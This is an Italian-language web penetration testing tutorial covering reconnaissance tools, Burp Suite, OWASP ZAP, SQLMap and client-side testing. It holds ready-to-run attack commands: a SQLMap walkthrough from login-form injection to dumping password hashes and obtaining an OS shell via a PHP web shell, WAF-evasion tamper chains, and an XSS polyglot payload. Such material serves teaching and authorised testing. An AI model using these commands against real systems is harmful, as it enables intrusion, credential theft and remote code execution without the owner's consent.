Test di Applicazioni Web con Toolkit Specializzati
Mappatura della Superficie di Attacco: Ricognizione e Scoperta dei Contenuti
Prima di iniettare payload o manipolare sessioni, il testing efficace delle applicazioni web richiede una ricognizione sistematica. L'OWASP Testing Guide v4 struttura questo processo attraverso la raccolta di informazioni, la gestione della configurazione e la gestione delle identità—fasi in cui strumenti specializzati risultano indispensabili.
Gobuster e dirb rimangono fondamentali per la scoperta dei contenuti, ciascuno ottimizzato per scenari distinti. Gobuster sfrutta il modello di concorrenza di Go per ottenere una produttività sostanzialmente superiore:
# Enumerazione delle directory con wordlist ed estensioni
gobuster dir -u https://target.example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,aspx,html,bak,txt -t 50
# Scoperta dei virtual host per ambienti di hosting condiviso
gobuster vhost -u https://target.example.com -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt
Il flag -k bypassa la validazione del certificato per ambienti interni, mentre la gestione del --wildcard previene falsi positivi da risposte catch-all. Per le API e le applicazioni moderne ricche di JavaScript, combinalo con ffuf per il fuzzing dei parametri e delle route scoperte attraverso l'analisi delle source map.
Dirb eccelle quando è cruciale l'enumerazione ricorsiva—seguendo redirect attraverso realm di autenticazione o analizzando automaticamente robots.txt e sitemap.xml. Il suo supporto integrato per i cookie di autenticazione (flag -c) mantiene lo stato della sessione attraverso aree protette che Gobuster potrebbe altrimenti non rilevare.
Intercettazione e Manipolazione del Traffico: Il Workflow di Burp Suite Professional
Burp Suite Professional funge da sistema nervoso centrale del testing delle applicazioni web, con quattro moduli che formano il workflow principale: Spider, Scanner, Intruder e Repeater.
Spider esegue il crawling sistematico delle applicazioni, mappando la superficie di attacco seguendo link, inviando form e analizzando JavaScript. Le applicazioni moderne richiedono login macro configurati—sequenze registrate che gestiscono token anti-CSRF, sfide CAPTCHA o autenticazione multi-step. Configurali in Project Options → Sessions → Macros, quindi associali a uno scope URL specifico per il crawling autenticato continuo.
Scanner fornisce sia analisi passiva che attiva. Lo scanning passivo analizza tutto il traffico proxy senza richieste aggiuntive, identificando campi password in chiaro, header di sicurezza mancanti e information disclosure nelle risposte. Lo scanning attivo invia payload su misura, ma richiede discrezione:
- Light active scan: Manipolazione degli header, inserimento di payload di base
- Medium active scan: Rilevamento basato sul tempo, codifica annidata
- Intensive active scan: Manipolazione dei percorsi dei file, interazione out-of-band (richiede Burp Collaborator)
Intruder abilita attacchi automatizzati personalizzati su quattro posizioni di payload. La modalità Sniper punta singolarmente ciascuna posizione in sequenza; Battering ram applica payload identici su tutte le posizioni simultaneamente; Pitchfork itera più liste di payload in parallelo (ideale per credential stuffing); Cluster bomb genera prodotti cartesiani per scenari di brute-force completi.
Repeater facilita il rifinimento manuale—modifica di richieste individuali, osservazione di risposte sfumate e costruzione di exploit proof-of-concept. La scheda Render visualizza le risposte HTML, mentre l'editor Hex manipola payload binari per attacchi di deserializzazione.
L'estensibilità di Burp lo trasforma da scanner a piattaforma completa di testing. Le estensioni critiche includono:
| Estensione | Funzione | Installazione |
|---|---|---|
| Autorize | Rilevamento automatizzato dell'escalation dei privilegi | BApp Store |
| Logger++ | Logging forense di richieste/risposte con filtraggio avanzato | BApp Store |
| Turbo Intruder | Attacchi HTTP ad alte prestazioni tramite script Python | BApp Store |
| Param Miner | Scoperta di parametri nascosti tramite timing di cache-bust | BApp Store |
Autorize opera intercettando richieste, rimuovendo i token di sessione per creare varianti "non autenticate" e "a basso privilegio", quindi confrontando le risposte con l'originale. Configuralo impostando il pattern di sostituzione della "richiesta non autorizzata"—tipicamente Cookie: session=INVALID—poi naviga normalmente nell'applicazione. Autorize segnala gli endpoint che restituiscono contenuti identici attraverso diversi livelli di privilegio, rivelando immediatamente vulnerabilità IDOR e controlli di autorizzazione mancanti.
Logger++ supera il logging nativo di Burp con filtraggio basato su regex, esportazione JSON e integrazione Elasticsearch. Per la ricostruzione forense di complessi attacchi multi-step, la sua sintassi di query (Request.Method = POST AND Response.StatusCode = 302) abilita la correlazione precisa degli eventi.
Rilevamento Automatico delle Vulnerabilità: OWASP ZAP nel Contesto Pipeline
OWASP ZAP completa Burp attraverso un'automazione superiore e l'integrazione CI/CD. Il suo Ajax Spider gestisce applicazioni a pagina singola dove i crawler tradizionali falliscono, eseguendo JavaScript per renderizzare la navigazione dipendente dal DOM.
Per l'integrazione pipeline, gli scan confezionati di ZAP si eseguono tramite Docker:
# Scansione di base: analisi passiva dei risultati dello spider, non intrusiva
docker run -t ghcr.io/zaproxy/zaproxy:stable zap-baseline.py \
-t https://target.example.com \
-r zap-report.html \
--hook=/zap/wrk/custom-hooks.py
# Scansione completa: attacco attivo con configurazione delle policy
docker run -v $(pwd):/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable zap-full-scan.py \
-t https://target.example.com \
-g gen.conf \
-x zap-report.xml
L'Automation Framework (basato su YAML) abilita configurazioni di scansione versionate:
env:
contexts:
- name: "Target Context"
urls:
- "https://api.target.example.com"
authentication:
method: "json"
parameters:
loginUrl: "https://api.target.example.com/auth/login"
loginRequestBody: '{"username":"{{username}}","password":"{{password}}"}'
jobs:
- type: spider
parameters:
maxDepth: 5
- type: activeScan
parameters:
policy: "API-Minimal"
Le capacità di scripting di ZAP supportano Python, JavaScript e Groovy per regole di scansione personalizzate. L'add-on OAST (Out-of-band Application Security Testing) si integra con interactsh o Burp Collaborator per il rilevamento di vulnerabilità blind—SSRF, XSS blind e command injection dove nessuna risposta immediata indica il successo.
Compromissione del Database: Rilevamento ed Evasione con SQLMap
SQLMap rimane lo strumento definitivo per l'automazione della SQL injection, ma un deployment efficace richiede la comprensione della sua gerarchia di rilevamento e dei meccanismi di evasione.
I livelli di rilevamento si intensificano attraverso --level (1-5, default 1) e --risk (1-3, default 1):
- Level 1: Test basici error-based e UNION-based
- Level 2: Rilevamento blind basato sul tempo, testing HTTP Cookie
- Level 3: Iniezioni OR-based nella clausola WHERE, query impilate
- Levels 4-5: Fuzzing delle condizioni al contorno, punti di iniezione esotici (User-Agent, Referer, X-Forwarded-For)
I parametri di risk determinano l'aggressività dei payload—risk 3 abilita pesanti operazioni di distruzione tabelle (DROP, ALTER) e tentativi di shell OS.
Esempio Pratico: Da Portale di Login a Shell OS
Considera un portale di login su https://legacy.target.example.com/login.php con parametri username e password. La ricognizione iniziale rivela messaggi di errore MySQL su input malformati.
Fase 1: Rilevamento Error-based
sqlmap -u "https://legacy.target.example.com/login.php" \
--data="username=test&password=test" \
--level=2 --risk=1 \
--batch
L'output atteso identifica il punto di iniezione:
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=test' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71767a7671,(SELECT (ELT(2153=2153,1))),0x71767a7671,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'jSLE'='jSLE&password=test
Fase 2: Fingerprinting del Database e Enumerazione
sqlmap -u "https://legacy.target.example.com/login.php" \
--data="username=test&password=test" \
--banner --current-user --current-db \
--dbs --tables -D application_db
L'output conferma MySQL 5.7.38, l'utente app_user@localhost, il database application_db, e rivela tabelle tra cui users, sessions, api_keys.
Fase 3: Estrazione dei Dati UNION-based
sqlmap -u "https://legacy.target.example.com/login.php" \
--data="username=test&password=test" \
-D application_db -T users -C username,password_hash,email \
--dump --threads=4
SQLMap determina automaticamente il conteggio delle colonne e i tipi di dati adatti per l'iniezione UNION, estraendo hash decifrati tramite attacchi di dizionario integrati.
Fase 4: Accesso os-shell
sqlmap -u "https://legacy.target.example.com/login.php" \
--data="username=test&password=test" \
--os-shell
Questo richiede il supporto per query impilate (MySQL con certe configurazioni) o capacità di scrittura file UNION-based. SQLMap tenta di scrivere una shell PHP nella webroot usando tecniche INTO OUTFILE o --file-write, quindi la invoca per l'esecuzione interattiva di comandi.
Quando l'intervento manuale risulta superiore: iniezione blind boolean-based con risposte non standard, NoSQL injection (MongoDB, CouchDB), iniezione second-order dove la memorizzazione e l'esecuzione del payload sono disaccoppiate, e lo sfruttamento di database ORACLE con permessi UTL_FILE restrittivi.
Evasione WAF e Script Tamper
Le difese moderne—Cloudflare, Akamai, AWS WAF e set di regole personalizzati—rendono necessaria la composizione di script tamper. L'opzione --tamper di SQLMap concatena multipli script:
sqlmap -u "https://protected.target.example.com/api/search" \
--data="query=test" \
--tamper=space2comment,between,charencode \
--random-agent --delay=2 --time-sec=5 \
--level=3 --risk=2
Combinazioni efficaci di tamper per target:
| WAF/Difesa | Strategia Tamper | Script |
|---|---|---|
| Cloudflare | Codifica dei caratteri, randomizzazione delle maiuscole | charencode, randomcase, space2comment |
| Akamai | Codifica multibyte, iniezione di commenti | multiplespaces, base64encode (custom) |
| AWS WAF | Frammentazione delle keyword SQL | between, greatest, space2morehash |
| ModSecurity | Inserimento di null byte, frammentazione HTTP | nullbyte, apostrophenullencode |
Per WAF personalizzati, identifica il comportamento di blocco tramite fuzzing sistematico: invia richieste di baseline, itera i componenti del payload e analizza i pattern di risposta 403/406/500. Costruisci tamper su misura quando gli script generici falliscono.
Superficie di Attacco Lato Client: XSS, CSRF e Manipolazione del DOM
Il testing lato client affronta le categorie OWASP rimanenti. XSS Reflected si valida attraverso la riflessione immediata del payload; XSS Stored richiede verifica multi-step attraverso sessioni utente; XSS DOM-based richiede analisi del flusso di esecuzione JavaScript.
L'estensione DOM Invader di Burp traccia la propagazione da source a sink automaticamente. Per la verifica manuale:
// Poliglotta standard per il rilevamento del contesto
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
Il testing CSRF valida l'entropia dei token, l'applicazione dei cookie SameSite e la viabilità di submission cross-origin. Il CSRF PoC generator di Burp (click destro sulla richiesta → Engagement Tools → Generate CSRF PoC) produce HTML proof-of-concept. Per le applicazioni che impiegano double-submit cookies, verifica la sincronizzazione tra token cookie e parametro.
I framework moderni implementano Content Security Policy (CSP) e Trusted Types come livelli di mitigazione. La valutazione del bypass richiede la presenza di script-src 'unsafe-eval' per l'escape dalla sandbox Angular, o strict-dynamic con catene di delegazione basate su nonce che potrebbero essere avvelenate tramite iniezione di markup nelle risposte JSON.
Il tester completo alterna tra scanning automatizzato per la copertura e manipolazione manuale per la profondità—riconoscendo che l'output degli strumenti rappresenta ipotesi che richiedono validazione, mai conclusioni.